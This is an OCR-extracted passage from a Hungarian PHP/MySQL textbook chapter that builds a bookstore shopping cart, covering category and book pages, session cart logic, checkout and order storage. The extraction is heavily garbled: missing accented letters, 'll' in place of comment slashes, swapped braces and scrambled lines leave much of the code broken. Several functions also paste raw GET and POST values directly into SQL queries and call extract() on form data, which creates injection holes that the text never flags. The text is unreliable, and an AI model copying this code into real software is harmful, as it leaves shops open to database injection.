knyvtr kategoriak_megjelenitese() fggvnye- A fggvny az egyes kategrikra mutat hivatkozsok listjaknt jelenti meg a kategrikat tartalmaz tmbt
{

function kategoriak_megjelenitese($kat_tomb) if (! is_array($kat_tomb)) return;

echo "<p>Jelenleg egyetlen kategria sem rhet el</p>";

echo "<ul>"; foreach ($kat tomb as $sor) { $url


=

"kategoria_megjelenitese. php?kategoriaiD=". ($sor [ 'kategoriaiD' l) ;

$eim = $sor['kategoria neve']; echo "<li>"; html_url letrehozasa($url, echo "</li>"; $eim);

echo "</ul>"; echo "<hr />";

A kategoriak_megjelenitese() fggvny az adatbzisbl kinyert sszes kategrit hivatkozss alakitja t. Az sszes hivatkozs a kategoria_megjelenitese. php kdra mutat, de mindegyik egymstl klnbz paramterrel

{kategoriaiD) rendelkezik. (Ez a MySQL ltal generlt egyedi szm azonostja a kategrit.) Ez a paramter hatrozza
meg, hogy az adott hivatkozsra katrintva melyik kategrit fogjuk ltni.

Adott kategria knyveinek list%sa


Az egyes kategrikban tallhat knyvek listzsa hasonl folyamat szerint trtnik. Az ezt a feladatot ellt, kategoria _
megjelenitese. php nev kdot a 28.6 pldakdban lthatjuk.

28.6 pldakd: kategoria_megjelenitese. php


<?php session_start();

-Ez a kd jelenti meg az egyes kategrikba tartoz knyveket

include ('konyv_kosar_fuggvenyek.php');

ll

kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

$kategoriaiD = $_GET['kategoriaiD']; $nev = kategoria_nev_lekerese($kategoriaiD);

html feJlee letrehozasa($nev);

Kosr funkci programozsa

429

ll knyvadatok lekrdezse az adatbzisbl


$konyv_tomb = konyvek_lekerese($kategoriaiD};

konyvek_megjelenitese($konyv_tomb};

28

ll ha adminknt jelentkeztnk be,

akkor knyv hozzadsa,

ll trlse s szerkesztse hivatkozsok megjelenitse


if(isset($ SESSION['admin felhasznalo']}} gomb_megjelenitese("index.php", gomb_megjelenitese("admin.php", "tovabb", "Tovbb"}; "Admin men"};

"admin-menu",

gomb_megjelenitese("kategoria_szerkesztese urlap.php?kategoriaiD=".$kategoriaiD, "kategoria-szerkesztese", else "Kategria szerkesztse"};

{
"vasarlas-folytatasa", "Vsrls folytatsa"};

gomb_megjelenitese("index.php",

html_lablec_letrehozasa(}; ?>

A fenti kd szerkezetileg a nyitoldalhoz hasonl, a klnbsg annyi, hogy kategrik helyett most knyveket keresnk vissza az adatbzisbL Szoks szerint a session_start(} fggvnnyel indtunk, majd a kategoria _nev_lekerese(} fggvnnyel kateg rianvv alaktjuk t az radott kategriaazonostt:
$nev = kategoria_nev_lekerese($kategoriaiD};

A 28.7 pldakdban lthat fggvny a kategria nevt keresi ki az adatbzisbL 28.7 pldakd: A konyv _fuggvenyek.php knyvtr kategoria_nev_lekerese (}fggvnye- A kategria azonostjt nvv talaktfggvny
function kategoria nev lekerese($kategoriaiD}

ll kategria-azonosthoz tartoz nv lekrdezse az adatbzisbl


$kapcsolat = adatbazishoz_kapcsolodas(}; $lekerdezes = "SELECT kategoria neve WHERE kategoriaiD = $eredmeny = if FROM kategoriak

'".$kategoriaiD."'";

@$kapcsolat->query($lekerdezes};

(! $eredmeny} {

return false;

$kategoriak_szama

@$eredmeny->num rows; 0}

if ($kategoriak szaroa == return false;

$sor = $eredmeny->fetch_object(}; return $sor->kategoria neve;

A kategria nevnek megllaptsa utn elksztjk a HTML fejlcet, majd az adott kategriba es knyvek visszakeress vel s listzsval folytatjuk a kdot:
$konyv_tomb = konyvek_lekerese($kategoriaiD}; konyvek_megjelenitese($konyv_tomb};

A konyvek lekerese(} s a konyvek_megjelem. tese(} fggvny nagyon hasonl a kategoriak_lekerese(} s a kategoriak _megjelenitese(} fggvnyhez, gy ezek rszleteibe most nem megynk bele. Az egyetlen klnbsg kzttk, hogy a kategoriak helyett a konyvek tblbl keresik vissza a bennnket rdekl adatokat.

430

28. fejezet

A konyvek_megjelenitese () fggvny hivatkozst ad a kategria minden egyes knyvhez, amelyre rkattinrva az

adott knyv sajt oldalra jutunk. A hivatkozsokhoz megint csak uttagknt adunk egy paramtert, amely jelen esetben az

28

adott knyv ISBN-kdja lesz.


A kategoria_megjelenitese.php kd vgn lv utastsok tovbbi funkcikat jelentenek meg a rendszergazdaknt

bejelentkezett felhasznlk szmra. Ezeket a funkcikat a rendszergazdai felhasznlkkal foglalkoz rszben vizsgljuk meg.

A knyv rszletes adatainak megjelentse


A konyv_megjelenitese.php fjl paramterknt a knyvek ISBN-kdjt fogadva visszakeresi s megjelenti a knyvhz

tartoz adatokat. A 28.8 pldakdban ennek a fjlnak a kdjt lthatjuk.


28.8 pldakd: konyv_megjelenitese. php-Az
<?php session start();

egyes knyvekhez tartoz rszletes informcikat megjelent kd

include ('konyv_kosar_fuggvenyek.php');

ll A kosrfunkcikhoz munkamenetekre van szksg,


$isbn = $_GET['isbn'l;

ezrt indtsunk egyet!

ll knyv kikeresse az adatbzisbl


$konyv = konyvadatok_lekerese($isbn); html fejlee letrehozasa($konyv['cim'l); konyvadatok_megjelenitese($konyv);

ll url belltsa a "tovbb gombhoz"


$cel
=

"index.php";

if($konyv [ 'kategoriaiD' l)

$cel = "kategoria_megjelenitese.php?kategoriaiD=".$konyv['kategoriaiD'l;

ll ha adminknt jelentkeznk be, ll akkor knyvek szerkesztse hivatkozs megjelenitse


if(admin felhasznalo_ellenorzese ())

{
"Ttel szerkesztse"); "Admin men");

gomb megjelenitese("konyv szerkesztese_urlap.php?isbn=".$isbn, "tetel-szerkesztese", gomb_megjelenitese("admin.php", gomb_megjelenitese($cel, else

"admin-menu", "Tovbb");

"tovabb",

{
"kosarba-tesz", "".$konyv ['eim'l." kosrba ttele");

gomb_megjelenitese("kosar_megjelenitese.php?uj=".$isbn,

gomb_megjelenitese($cel,

"vasarlas-folytatasa",

"Vsrls folytatsa");

html lablec letrehozasa(); ?>

Ezzel a kddal is valami hasonlt rnk el, mint az elz kt oldalon hasznlttal. Elszr is egy munkamenetet kezdnk, majd a
$konyv = konyvadatok_lekerese($isbn);

utastssal kinyerjk a knyvrl meglv informcit az adatbzisbL Ezt kveten a


konyvadatok_megjelenitese($konyv);

fggvnnyel elksztjk az adatokat megjelent HTML-t.

Kosr funkci programozsa

431

Vegyk szre, hogy a konyvada tok_megj elen i tese ( ) fggvnyben egy kpfjl r keresnk a knyvhz az
images/". $konyv ['isbn' J

".jpg elrsi tvonallal. amelyben a fjl neve a knyv ISBN-kdja plusz a Jpg kiterjeszts!

Ha a fjl nem tallhat az images, vagyis.. kpek" almappban, nem fog kp megjelenni. A konyv_megjelenitese. php kd tbbi rsze navigcis lehetsgeket ad az oldal lrogarjnak. Az ltalnos felhasznJk a.,Vsrls folytars' s a.,Ko srba resz" gomb kzl vlaszthatnak. Az elbbi a kategrikat megjelent oldalra viszi a felhasznlkat, az utbbival pedig kosarukba rakharjk az adott knyvet. Ha a felhasznl rendszergazdaknt jelentkezerr be, ms lehetsgek kzl vlaszthar ezeker az adminisztrcit trgyal rszben mutatjuk be. Ezzel tnztk a katalgusrendszer alapjait, gy kvetkezhernek a kosr funkcit megvalst kdok.

28

A kosr funkci megvalstsa


A kosr funkci reljes egszben a kosar nev munkamener-vltoz krl forog. Ez a vltoz egy asszociatv tmb, amelynek kulcsai ISBN-kdok, rtkei pedig mennyisgek. Ha valamely knyv egyeden pldnyt tesszk a kosrba, a tmb pldul a 0672329166=> l kulcsot s rtket tartalmazza. Ez azt jelenti, hogy a kosr az ISBN 0672329166 kd knyv egyeden pldnyr tartalmazza. Amikor termkeker rakunk a kosrba, azok hozzaddnak a rmbhz. Amikor megjelentjk a kosarat, a kosar tmb segr sgvel keressk ki az adarbzisbl a termkek rszleres adatait. Kr msik munkamenet-vlrozval szablyozzuk a fejlcen megjelen, a kosrban lv ttelek szmr s vgsszegt mutat tartalmat. Ezeknek a vltozknak tetelek, illetve vegasszeg a neve.

A kos ar_megj elen i tes e. phpkd hasznlata


Vizsgljuk meg a kosar_megjelen i tese. php kdot, hogy lssuk, hogyan lehet megvalstani a kosr funkcir! Ez a kd jelenti meg az oldalt, amit akkor lthatunk, ha a.,Kosr megtekints' vagy a.,Kosrba tesz" hivarkozsra kattintunk. Ha pa ramter nlkl hvjuk meg a kosar_ megj elen itese. php kdot, a kosr tarralmr fogjuk Jrni. Ha paramterknt ISBN kdot adunk t a fjlnak, akkor az adorr ISBN-kd knyver tesszk be a kosrba. Hogy reljes mrrkben megrtsk a kd mkdsr, nzzk meg elszr a 28.6 brt!

Kosata ---

28.6 bra: A paramter nlkl meghvott kos ar_ megjelenitese. php kd egysuren a kosr tartalmt jelenti meg. Ebben az esetben res volt a kosarunk, amikor a.,Kosr megtekints' gombra kartintottunk-vagyis mg egyeden knyver sem jelltnk ki vsrlsra. A 28.7 bra egy kicsir tovbb megy, merr kr knyv kivlasztsa utn murarja a kosarat. Ebben az esetben knyvnk angol eredetijnek, a PHP and MySQL Web Development cm ktetnek az oldaln rallhat .Kosrba tesz" gombra kattintva jutor tunk el erre az oldalra. Ha alaposabban szemgyre vesszk az URL-t tartalmaz svor, lthatjuk, hogy ezttal paramterrel hvtuk meg a kdot. A paramter neve ISBN-kdja. Ezen az oldalon kt lehetsg kzl vlasztharunk. A .. Vltoztatsok ments' gombbal a kosrban lev rtelek mennyis gnek vltozsait mentherjk el. Ez gy zajlik, hogy a felhasznl kzvetlenl megvltoztathatja az egyes rtelek mennyisgr, m:yd rkarrint a gombra. Ez lnyegben egy klds gomb, amely a kosar_ megjeleni tese. php kdhoz viszi vissza a fel hasznlt, hogy frisstse a kosarat. A felhasznl msik lehetsge a.,Tovbb a pnzrrhoz" gombra kattints. Ezt akkor kell megtennie, ha kszen ll a fizetsre. Rvidesen visszatrnk mg erre a funkcira.
u j,

rtke pedig O 6 723 29 7 6X - ez pedig nem ms, mint az imnr a kosrba terr knyv

432

28.fezet

28

28.7 bra: Az uj paramtert tartalmaz kosar_megjelenitese. php kd knyvet tesz a kosrba. Egyelre azonban vizsgljuk meg a kosar_megjelenitese. php kd tartalmt! A kdot a 28.9 pldakd tartalmazza. 28.9 pldakd: kosar_megjelenitese.php-A kosarat mkdtet kd
<?php session start(); include ('konyv kosar fuggvenyek.php');

ll A kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

@$uj= $_GET['uj']; if($uj)

//j ttel kijellve if(!isset($_SESSION['kosar'])) $ SESSION['kosar'] = array(); $_SESSION['tetelek']= 0; $_SESSION['vegosszeg'] ='0.00';

if (isset($ SESSION ['kosar' l [$uj l)) $ SESSION['kosar'] [$uj]++; else

$ SESSION['kosar'] [$uj] = l;

$ SESSION['vegosszeg'] = ar szamolasa($ SESSION['kosar']); $ SESSION['tetelek' l tetelek_szamolasa($ SESSION['kosar' l ) ;

if(isset($ POST['mentes' l)) if($ POST[$isbn] == '0') else

{ { {

foreach ($_SESSION['kosar'] as $isbn => $darabszam) unset($_SESSION['kosar' l [$isbn]);

{
$ POST[$isbn];

$_SESSION['kosar'][$isbn]

Kosr funkci programozsa

433

$_SESSION['vegosszeg']

ar_szamolasa($ SESSION['kosar']};

$_SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']};

28
html fejlee letrehozasa("Kosara"}; if(($_SESSION['kosar']}
&&

(array_count_values($_SESSION['kosar']}}}

kosar_megjelenitese($ SESSION['kosar']}; else echo "<p>Kosara jelenleg Ures<lp><hrl>";

$cel = "index.php"; ll ha az imnt beraktunk egy termket a kosrba, ll folytassuk a vsrlst ugyanabban a kategriban! if($uj}

[ [

$adatok = konyvadatok_lekerese($uj}; if($adatok['kategoriaiD']}

$cel = "kategoria_megjelenitese.php?kategoriaiD=".$adatok['kategoriaiD'];

gomb_megjelenitese($cel,

"vasarlas-folytatasa",

"Vsrls folytatsa"};

ll ha az SSL be van lltva, ll $eleresi_utvonal ll $szerver


= =

hasznljuk ezt!

$ SERVER['PHP_SELF'];

$ SERVER['SERVER_NAME']; $eleresi_utvonal};

ll $eleresi_utvonal = str_replace('kosar_megjelenitese.php',

ll gomb_megjelenitese("https:ll".$szerver.$eleresi_utvonal."penztar.php", ll "tovabb-a-penztarhoz", "Tovbb a pnztrhoz"};

ll SSL nlkl az albbi kdot hasznljuk! gomb_megjelenitese("penztar.php", "tovabb-a-penztarhoz", "Tovbb a pnztrhoz"};

html lablec_letrehozasa(}; ?>

A kd hrom f rszbl ll: a kosr megjelentse, a termkek kosrba ttele s a vltoztatsok mentse. A kvetkez oldala kon ezt a hrom rszt tekintjk t.

A kosr megjelentse
Fggetlenl attl, hogy milyen oldalrl jvnk, megjelentjk a kosr tartalmr. Alapesetben, amikor a felhasznl a,.Kosr megrekints' gombra kattint, a kdnak csak az albbi rsze fog vgrehajtdni:
if(($_SESSION['kosar']}
&&

(array_count_values($ SESSION['kosar']}}}

kosar_megjelenitese($_SESSION['kosar']};

J else

echo "<p>Kosara jelenleg Ures<lp><hrl>";

A fenti kdbl kiderl, hogy ha kosarunk nem res, a kosar_megjelenitese(} fggvnyt fogjuk meghvni. res kosr esetn ezt kzl zenetet adunk a felhasznlnak. A kosar_megjelenitese(} fggvny semmi mst nem teszi, mint olvashat HTML formtumban megjelenti a kosr tartalmt-ezt lthattuk a 28.6 s 28.7 brn. A fggvny kdjt a 28.10 pldakd ltal megjelentett kimeneti_

434

28. fejezet

fuggvenyek.php f:ijlban talljuk. Noha megjelent fggvnyrl van sz, viszonylag sszetett a mkdse, ezrt rdemes

kicsit alaposabban is megvizsglni.

28

28.10 pldakd: A kimeneti_fuggvenyek.php knyvtr kosar_megjelenitese ()fggvnye- A kosr tartalmt

formz s kirfggvny
function kosar_megjelenitese($kosar, $valtoztatas = true, $kepek = l) ll kosrban lev ttelek megjelenitse ll a vltoztatsok opcionlis lehetv ttele (true vagy false) ll opcionlisan kpek hasznlata (l - igen, O - nem) {

echo "<table border=\"0\" width=\"100%\" cellspacing=\"0\"> <form action=\"kosar_megjelenitese.php\" method=\"post\"> <tr><th colspan=\"". (l + $kepek)."\" bgcolor=\"#cccccc\">Item</th> <th bgcolor=\"#cccccc\">Ar</th> <th bgcolor=\"#cccccc\">Mennyisg</th> <th bgcolor=\"#cccccc\">sszesen</th> </tr>"; ll a ttelek megjelenitse sorokknt foreach ($kosar as $isbn => $darabszam) $konyv
=

konyvadatok_lekerese($isbn); (

echo "<tr>"; if($kepek == true) echo "<td align=\"left\">"; if (file_exists("imagesl".$isbn.".jpg")) $meret = GetimageSize("imagesl".$isbn.".jpg"); if(($meret[O] > 0) && ($meret[l] > 0)) style=\"border: { echo "<img src=\"images/".$isbn.".jpg\" lpx solid black\" width=\"". ($meret[0]/3)."\" height=\"".($meret[l]l3)."\"/>"; else echo "&nbsp;"; echo "</td>"; echo "<td align=\"left\"> <a href=\"konyv_megjelenitese.php?isbn=".$isbn."\">".$konyv['cim']."</a> by ".$konyv['szerzo'] ."</td> <td align=\"center\">\$".number_format($konyv['ar'], 2) ."</td> <td align=\"center\">"; ll ha engedjk a vltoztatst, a darabszmok a szvegdobozba kerlnek if ($valtoztatas == true) size=\113\">"; else echo $darabszam; echo "<ltd> <td align=\"center\">\$".number_format($konyv['ar']*$darabszam,2)."</td> </tr>\n"; { echo "<input type=\"text\" name=\"".$isbn."\" value=\"".$darabszam."\"

Kosr funkci programozsa

435

)
ll sszesen sor megjelenitse echo "<tr> <th colspan=\"". (2+$kepek) ."\" bgcolor=\"#cccccc\">&nbsp;</td> <th align=\"center\" bgcolor=\"#cccccc\">".$_SESSION['tetelek'l ."</th> <th align=\"center\" bgcolor=\"#cccccc\"> \$".number_format($_SESSION[ 'vegosszeg'l, </th> </tr>"; ll vltoztats mentse gomb megjelenitse if ($valtoztatas == true) echo "<tr> <td colspan=\"". (2+$kepek) ."\">&nbsp;</td> <td align=\"center\"> <input type=\"hidden\" name=\"mentes\" value=\"true\"/> <input type=\"image\" src=\"images/valtoztatasok-mentese.gif\" border=\"0\" alt=\"Vltoztatsok mentse\"/> <ltd> <td>&nbsp;</td> </tr>"; echo "</form></table>"; 2) . "

28

A fggvny a kvetkezkppen mkdik: l. 2. Ciklus segtsgvel vgiglpked a kosrban lv sszes ttelen, s egyenknt tadja azok ISBN -kdjt a konyvadatok_
lekerese () fggvnynek, hogy megjelenthesse a knyvek adatait.

Megjelenti az adott knyvhz tartoz kpet, amennyiben az elrhet. A kp mrett szablyoz HTML cmkkkel (tag) kisebbre veszi az itt megjelentett kpet. Ez azt jelenti, hogy a kpek torzulnak egy kicsit, m elg aprk ahhoz, hogy ez ne okozzon tl nagy problmt. (Ha a torzts zavar, a Kpek ellltsa cm 22. fejezetben bemutatott gd knyvtr segts gvel mretezzk t a kpeket! Egy msik lehetsg, ha sajt kezilleg ksztjk el az egyes termkek kisebb kpeit.)

3. 4.

A kosr nnden egyes ttelnl a megfelel knyvre mutat hivatkozst hoz ltre- vagyis paramterknt az ISBN-k dot tadva meghvja a konyv _megjeleni tese. php kdot. Ha gy hvjuk meg a fggvnyt, hogy a valtoztatas paramter rtkt true-ra lltjuk (vagy nem adjuk meg az rtkr, s ebben az esetben az alaprtelmezett rtkvel-true- hasznljuk), akkor a szvegdobozokban ott talljuk " a darabszmokat, illetve a"Vltoztatsok mentse gomb zrja ezt a lnyegben rlapknt mkd rszt. (Amikor a fize tsnl majd jra felhasznljuk ezt a fggvnyt, akkor mt nem kvnjuk felajnlani a felhasznlnak a lehetsget, hogy mdostsa rendelst.)

Semmi rdngssg nincsen ebben a fggvnyben, de elg nagy munkt vgez, ezrt rdemes alaposan tolvasni s rtelmez ni az utastsait.

Termkek hozzadsa a kosrhoz


Ha a felhasznl a"Kosrba tesz" gombra kattintva a kosar _megjelenitese. php oldalra jut, akkor nmi munka vr mg rnk, mieltt megjelenthetnnk kosara tartalmr. Ez egszen pontosan azt jelenti, hogy a kivlasztott termket be kell ten nnk a kosarba. A kvetkezkppen tehetjk ezt meg: Ha a felhasznl mg semmit nem tett a kosarba, akkor nincs is kosara, ezrt ltre kell hozni szmra egyet:
if (!isset ( $_SESSION['kosar'l) ) $_SESSION['kosar'l = array(); $_SESSION['tetelek'l

= O;

$ SESSION['vegosszeg'l ='0.00';

Kezdetben a kosr res.

436

28.fgezer

Ha mr tudjuk, hogy elksztettk a kosarat, belerakhatjuk a kivlasztott rermker:


if(isset($_SESSION['kosar'] [$uj]))

28

$_SESS ION ['kosar'] [$uj]++; else

{
= l;

$_SESSION['kosar'] [$uj]

Itt azt ellenrizzk, hogy a kosrban megtallhat-e mr az adott knyv. Ha igen, akkor a kosrban lv mennyisgr eggyel megnveljk. Ha nincs benne, akkor hozzadjuk a kosrhoz. Harmadsorban ki kell szmolnunk a kosrban lv ttelek szmt s rt. Ehhez az ar_szamalasa () s a tetelek
szamalasa () fggvnyt hasznljuk az albbiak szerint: $_SESSION['vegosszeg'] = ar_szamolasa($_SESSION['kosar']); $ SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']);

Ezek a fggvnyek a konyv fuggvenyek.php fggvnyknyvtrban tallhatk. Kdjukat a 28.11, illetve a 28.12 plda
_

kd tartalmazza. 28.11 pldakd: A konyv_fuggvenyek. php knyvtr ar_szamolasa ()fggvnye- A kosr tartalmnak teljes rt kisz mol s visszaadfggvny
function ar_szamolasa($kosar)

ll a kosrban lv sszes ttel rnak sszeadsa


$ar
=

0.0; {

if(is_array ($kosar))

$kapcsolat = adatbazishoz kapcsolodas(); foreach($kosar as $isbn => $darabszam) $lekerdezes


=

"SELECT ar FROM konyvek WHERE isbn='".$isbn."'";

$eredmeny = $kapcsolat->query($lekerdezes); if ($eredmeny)

$tetel = $eredmeny->fetch_object(); $tetel_ara = $tetel->ar; $ar +=$tetel_ara*$darabszam;

return $ar;

A kdbl kiderl, hogy az ar_szamalasa () fggvny gy mkdik, hogy kikeresi az adatbzisbl a kosrban lv min

den egyes ttel rt. Ez a folyamat viszonylag hosszan is eltarthat, ezrt azt elkerlend, hogy a kelletnl tbbszr vgrehajt suk, az rat (s a rtelek darabszmt) munkamenet-vltozknt eltroljuk, s csak akkor szmoljuk ki jra az sszeget, ha a kosr tartalma mdosul. 28.12 pldakd: A konyv_fuggvenyek.php knyvtr tetelek_szamalasa ()fggvnye- A kosrban lv ttelek sz mt kiszmo/ s visszaadfggvny
function tetelek_szamolasa($kosar)

ll a kosarban lv ttelek szmnak sszeadsa


Stetelek = O; if(1s array($kosar)) { foreach($kosar as $isbn => $darabszam) Stetelek += $darabszam;

return $tetelek;

Kosr funkci programozsa

437

A tetelek_ szarnelasa () fggvny valamivel egyszerbb; szimpln vgigmegy a kosr tartalmn, s az egyes ttelek da rabszmt sszeadva kiszmolja a kosrban lev termkek szmt. Ha a tmb mg nem ltezik (vagyis a kosr res), akkor O-t (nullt) ad vissza.

28

A mdostott tartalm kosr mentse


Ha a felhasznl a"Vltoztatsok ments' gombra kattintva kerl a kosar_megj elenitese.php kd oldalra, akkor kicsit mshogyan zajlik a folyamat. Ebben az esetben rlap elkldsvel jutott ide. Ha kzelebbrl megvizsgljuk a kdot, lt " hatjuk, hogy a"Vltoztatsok mentse gomb az rlap klds gombja. Ez az rlap a mentes rejtett vltozt is tartalmazza. Ha " ennek a vltoznak van rtke, akkor rudjuk, hogy a"Vltoztatsok mentse gombra kattintva jutott ide a felhasznl. Ez azt jelenti, hogy vlelmezheten mdostotta a kosarban lv darabszmokat, gy frisstennk kell azokat. Ha jra megnzzk a kd"Vltoztatsok ments' rlapjn lv szvegdobozokat (amelyek a kimeneti_fuggvenyek.php knyvtr kosar_megj elenitese () fggvnyben tallhatk), lthatjuk, hogy nevk annak a knyvnek az ISBN-kdjra utal, amelynek a darabszmt mutatjk:
eeho "<input type=\"text\" name=\"".$isbn."\" value=\"".$darabszam."\" size=\"3\">";

Most pedig nzzk meg a kdnak a vltoztatsokat elment rszt:


if(isset($_POST['mentes'])) if($_POST[$isbn] == '0') else

{ {

foreaeh ($_SESSION['kosar'] as $isbn => $darabszam) unset( $_SESSION['kosar' l [$isbn]);

{
$ POST[$isbn];

$_SESSION['kosar'] [$isbn]

$_SESSION['vegosszeg'] = ar szamolasa($ SESSION['kosar']); $ SESSION['tetelek'] = tetelek szamolasa($ SESSION['kosar']);

Ebben a kdban vgigmegynk a kosron, s a benne lev minden isbn kdnl ellenrizzk az ugyanolyan nev POST vl " tozt, amik a"Vltoztatsok mentse rlapbl szrmaz rlapvltozk lesznek. Ha ezek kzl brmelyik nullra lett lltva, akkor az unset() fggvny segtsgvel eltvoltjuk a kosrbl az adott ttelt. Ellenkez esetben az rlapmezknek megfelelen mdostjuk a kosr tartalmr:
if($_POST[$isbn] == '0') else

unset($_SESSION['kosar'] [$isbn]);

$ SESSION['kosar'] [$isbn] = $_POST[$isbn];

A mdostsok vgrehajtsa utn az ar_szarnelasa () s a tetelek_szarnelasa () fggvnnyel ismt kiszmoljuk


a

vegasszeg s a tetelek munkamenet-vltoz akrulis rtkr.

A fejlcen lthat sszefoglal adatok megjelentse


A honlap minden oldalnak fejlcn a kosr tartalmra vonatkoz, sszefoglal adatok jelennek meg. Ezeket az adatokat a vegasszeg s a tetelek munkamenet-vltoz rtkbl a html_ fej lee _letrehozasa () fggvnnyel kapjuk. Ezt a kt vltozt akkor regisztrljuk, amikor a felhasznl elszr ltogat el a kosar_ megj elenitese.php oldalra. Azt az esetet is kezelnnk kell, amikor a felhasznl mg nem jrt ezen az oldalon. Ez a logika is benne van a html_fe j l ee_
letrehozasa () fggvnyben: if

(! $ SESSION['tetelek']) {
$_SESSION['tetelek'] = '0';

if (!$ SESSION['vegosszeg'])

$ SESSION['vegosszeg'] = '0.00';

438

28. fejezet

A pnztrnl
Amikor a felhasznl a kosr,;rovbb a pnztrhoz" gombjra kattint, a penztar.php kdot hvja meg. A pnztr oldalt s

28

a mgtte lev oldalakar Secure Sockets Layer (SSL) kapcsolaton keresztl kellene elrni, de a pldban szerepl alkalmazs ezt nem erlteti. (Az SSL-rl a Biztonsgos tranzakcik megvalstsa PHP-vel s MySQL-lel cm 18. fejezerben beszltnk bvebben.) A pnztr oldalt a 28.8 bra murarja.

'----------------

......

:.:.:.:.:.:.::.:.::_:_:_:_:_:j --! -====r--------------------------- !iJ-&i"--':!!!!o!C=:::"l -:-:::-::::::::::"1


::.
a.. ..._ ________________________ . -

r- ----------------- -

;:::---

A\1_..,._..,...--v-...,__..,.._ ...-....--

--=-:::"':."':"':"':":.

28.8 bra: A penztar.php kd az gyfl adatait gyjti be. A kd azt kri a vsrlrl, hogy aclja meg cmr (s szllrsi cmr, amennyiben kdot a 28.13 pldakd mutatja. 28.13 pldakd: penztar.php-Az gyfladatokat begyjt kd
<?php llfggvnyknyvtr beszrsa include ('konyv_kosar_fuggvenyek.php');
az

attl eltr). Ezt a viszonylag egyszer

ll A kosrfunkcikhoz munkamenetekre van szksg, session start();

ezrt indtsunk egyet!

html_fejlec_letrehozasa("Pnztr");

if(($ SESSION['kosar']) && (array_count_values($ SESSION['kosar']))) kosar_megjelenitese($_SESSION['kosar'], penztar urlap_megjelenitese(); else echo "<p>Kosara jelenleg res<lp>"; false,

0);

gomb_megjelenitese("kosar_megjelenitese.php", folytatsa"); html lablec letrehozasa(); ?>

"vasarlas-folytatasa",

"Vsrls

Nincsenek nagy meglepetsek a fenti kdban. Ha a kosr res, a kd figyelmezteti erre a felhasznlt; minden ms esetben a 28.8 brn lthat rlapot jelenti meg. Ha a vsrl az rlap aljn lv"Vsrls" gombra kattintva tovbblp, a va sarlas. php kdhoz jut. Ennek kimenert a 28.9 brn lthatjuk.

Kosr funkci programozsa

439

28
NilU WI

... -....!
. ____ ....,_,_.v_....,_,._...._ ___... ....... -

==-....,
v.......

#:-:1

28.9 bra: A vasarlas. php

kd kiszmalja a szlltsi kltsget s a rendels vgsszegt, majd bekri a vsrlfizetsi adatait.

A 28.14 pldakdban lthat va sarlas. php kdja valamivel bonyolultabb, mint a penztar. php fjl. 28.14 pldakd: vasarlas. php-A
<?php

rendels adatait az adatbzisban eltrol s a fizetsi adatokat bekr kd

ll

kosrfunkcikhoz munkamenetekre van szksg,

ezrt indtsunk egyet!

session start(); include ('konyv_kosar_fuggvenyek.php'); html fejlec_letrehozasa("Pnztr");

!l rvid vltoznevek ltrehozsa


$nev = $_POST['nev']; $lakcim = $ POST['lakcim']; $varos $irsz
= =

$ POST['varos1]; $_POST[1irsz'];

$orszag = $ POST[1orszag'];

ll ha ki van tltve
if (($_SESSION[1kosar1])
&& &&

($nev)

&&

($lakcim)

&&

($varos)

($irsz)

&&

($orszag))

ll be tudja szrni az adatbzisba


if(rendeles_beszurasa($_POST) //kosr megjelentse,

!= false
s kpek nlkl false,

vltoztatsok engedlyezse,

kosar_megjelenitese($ SESSION['kosar1],

0);

szallitas_megjelenitese(szallitasi_koltseg_szamitasa());

ll hitelkrtyaadatok lekrse
kartya_urlap_megjelenitese($nev); gomb_megjelenitese("kosar_megjelenitese.php", "Vsrls folytatsa"); else echo "<p>Nem sikerlt eltrolni az adatokat, gomb_megjelenitese(1penztar.php1, else
1

"vasarlas-folytatasa",

krjk, 'Vissza 1 )

prblja meg jra1</p>";


;

vissza',

440

28. fejezet

echo "<p>Nem tlttte ki az sszes mez6t, gomb_megjeleni tese('penztar.php',

krjk,

prblja

meg jra!< lp><hr

l>";

'vissza',

'Vissza');

28
html lablec letrehozasa(); ?>

A kd logik:ija magrl rtetd: ellenrizzk, hogy a felhasznl kitlttte-e az rlapot, s a rendeles_beszurasa ()

nev fggvnnyel beszrjuk az adatokat az adatbzisba. Ez az egyszer fggvny trolja el a vsrl adatait az adatbzisban. Kdjt a 28.15 pldakd tartalmazza.
28.15 pldakd: A rendelesi _fuggvenyek.php knyvtr rendeles_beszurasa ()fggvnye- A vsrl rendelsnek

sszes adatt az adatbzisba be illesztfggvny


function rendeles_beszurasa($rendelesi_adatok) ll rendelsi adatok kinyerse vltozkknt extract($rendelesi adatok);

ll lakcm belltsa szlltsi cmknt if((!$szallitasi_nev) && (1$szallitasi eim) && (!$szallitasi_varos)
&&

(!$szallitasi_allam) && (!$szallitasi irsz) && (!$szallitasi_orszag)) $nev; $lakcim;

$szallitasi_nev $szallitasi eim =

$szallitasi_varos = $varos; $szallitasi_allam = $allam;

$szallitasi_irsz = $irsz; $szallitasi arszag = $orszag;

$kapcsolat = adatbazishoz kapcsolodas(); ll tranzakciknt kivnjuk beszrni a megrendelst ll tranzakci kezdse az autocommit kikapcsolsval $kapcsolat->autocommit(FALSE);

ll vsrl lakcmnek beszrsa $lekerdezes


=

"SELECT

vasarloiD FROM vasarlok WHERE AND lakeim = '".$lakcim."'

nev = '".$nev."'

AND varos = '".$varos."' AND allam = '".$allam."' AND irsz = '".Sirsz."' AND orszag = '".$orszag."'";

$eredmeny = $kapcsolat->query($lekerdezes);

if($eredmeny->num_rows>O) $vasarlo = $eredmeny->fetch_object(); $vasarloiD else


=

$vasarlo->vasarloiD;

{
=

$lekerdezes

"insert into vasarlok values (''' '".$nev."'' 'n.$lakeim."'' '".$varos." ''

'".$allarn."', '".Sirsz."', '".Sorszag."')"; $eredmeny


=

$kapcsolat->query($lekerdezes);

if (!$eredmeny) return false;

Kosr funkci programozsa

441

$vasarloiD = $kapesolat->insert_id;

28
"'.$_SESSION['vegosszeg'] "', '".$szallitasi nev."',

$datum = date("Y-m-d");

$lekerdezes = "INSERT INTO (",

megrendelesek VALUES

'".$vasarloiD."',

'".$datum."',

'".PARTIAL."',

'".$szallitasi_cim."',

'".$szal litasi_varos."', '".$szal litasi irsz."',

'".$szallitasi allam."',

'".$szallitasi_orszag."')";

$eredmeny if

$kapesolat->query($lekerdezes);

(! $eredmeny)

return false;

$lekerdezes

"SELECT rendelesiO vasarloiD


=

